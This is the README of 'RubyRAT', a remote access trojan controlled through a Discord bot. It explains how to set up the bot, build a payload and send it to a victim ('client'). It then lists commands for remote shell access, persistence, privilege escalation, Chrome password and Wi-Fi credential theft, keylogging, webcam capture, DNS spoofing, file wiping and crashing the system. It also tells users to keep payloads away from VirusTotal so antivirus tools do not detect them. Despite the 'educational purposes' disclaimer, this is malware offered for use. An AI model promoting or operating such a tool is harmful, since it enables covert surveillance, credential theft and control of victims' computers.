RubyRAT is a remote access trojan developed in Python, designed to utilize a Discord bot as a Command and Control (C2) server. This tool enables remote management and control of systems with the RubyRAT bot installed.

Warning: This tool is intended for educational purposes only. Unauthorized use of RubyRAT for malicious activities is strictly prohibited. The developer will not be held responsible for any misuse of the tool.

This project is under active development, and its stability may vary as it continues to evolve.

⚠️ Important: Please refrain from uploading any payloads to VirusTotal.com, as this could potentially interfere with the functionality of the tool over time. VirusTotal shares signatures with antivirus companies, which may impact the effectiveness of the tool.

The tool has already been uploaded once. You can review the upload without any encryption added here.

1. Go to the Discord Developer Portal and log in to your Discord account.
2. Create a new application and name it. The name will be your bot's display name.
3. Under the "Bot" section, create a bot and copy its token.
4. Customize your bot's appearance, if desired.

1. Create a new Discord server.
2. Inside the new server, add a category called "RubyRAT."

1. Invite the created bot using an OAuth2 invite link with necessary permissions.
2. Paste the invite link in a browser and follow prompts to add the bot.
3. Configure bot permissions in the "RubyRAT" category.

1. Download the latest RubyRAT release here.
2. Unzip and open the builder (RubyRAT-Builder.exe found inside of zipped release)
3. Follow instructions and press build button when done.
4. Send payload to client and wait for a connection.

1. !help: Displays a help menu of all commands.
2. !cmd <command>: Execute a shell command.
3. !restart: Restarts client.
4. !version: Prints out current version of RubyRAT.
5. !kill: Disconnects Client from C2.

1. !upload: Upload a file from C2 to client.
2. !download: Download file from client to C2.
3. !cat: Reads and outputs the content of a file.

1. !screenshot: Takes a screenshot on client side and sends to C2.
2. !webcam: Grabs a picture using clients webcam and sends it.
3. !info: Get system info such as GPU, CPU, RAM, HDD/SSD and more.
4. !geolocate: Calculates position using google maps API.

1. !elevate: Tryies to elevate from User to Admin.
2. !install: Will try to gain persistence on the client system.
3. !uninstall: Will remove persistence from client system.
4. !better_install: Gets presistence on system with 3 diffrent methods.
5. !better_uninstall: Removes 3 diffrent methods of persistence from client system.
6. !better_check: Checks if 3 diffrent methods of persistence is active on client system.
7. !cool_install: Installs persistence with a interesting exploit found in some computers.
8. !cool_uninstall: Uninstalls the exploit persistence found in some computers.

1. !history: Gather and download all web history from client.
2. !passwords_chrome: If client has chrome, it will retrieve all saved usernames, passwords and URL's to the website.
3. !network: Retrieve all saved network SSIDs their passwords.

1. !dumplog: Sends a file containing the keyloggers log to C2.
2. !startlog: Start the keylogging.
3. !stoplog: Stop the keylogging.

1. !encrypt <filename> <password>: Encrypt a file with a special password.
2. !decrypt <filename> <password>: Decrypt a file with the special password.

1. !block_website <domain>: Blocks a website on the clients computer.
2. !unblock_website <domain>: Unblocks a website on the clients computer.
3. !spoof_dns <domain> <ip>: Spoofs a domain to a specified IP.

1. !volume <volume_amount>: Changes volume to the given procentage
2. !sendkey <Hello-World!>: Sends keystrokes to client, "-" is space
3. !messagebox <error\warning\info> <title> <content>: Sends a custom made messagebox to client.
4. !securefile <filepath>: Nulls out file to make it near-impossible to recover.
5. !BSOD <svchost\explorer>: Diffrent ways to make clients system unstable.
6. !interactive_cmd: Starts a CMD terminal in discord. (Avoid using commands that output much information, like "dir")

1. Gather Browser Cookies
2. Gather Discord Token/s
3. Cross-Platform Compatibility
4. Error Handling and Validation
5. Real-time Microphone Listening
6. Fake Windows Logon
7. Reverse Proxy
8. Save client information automaticly into seperate channel
9. USB Spread

Use this tool only for educational purposes. I will not be responsible for any malicious use.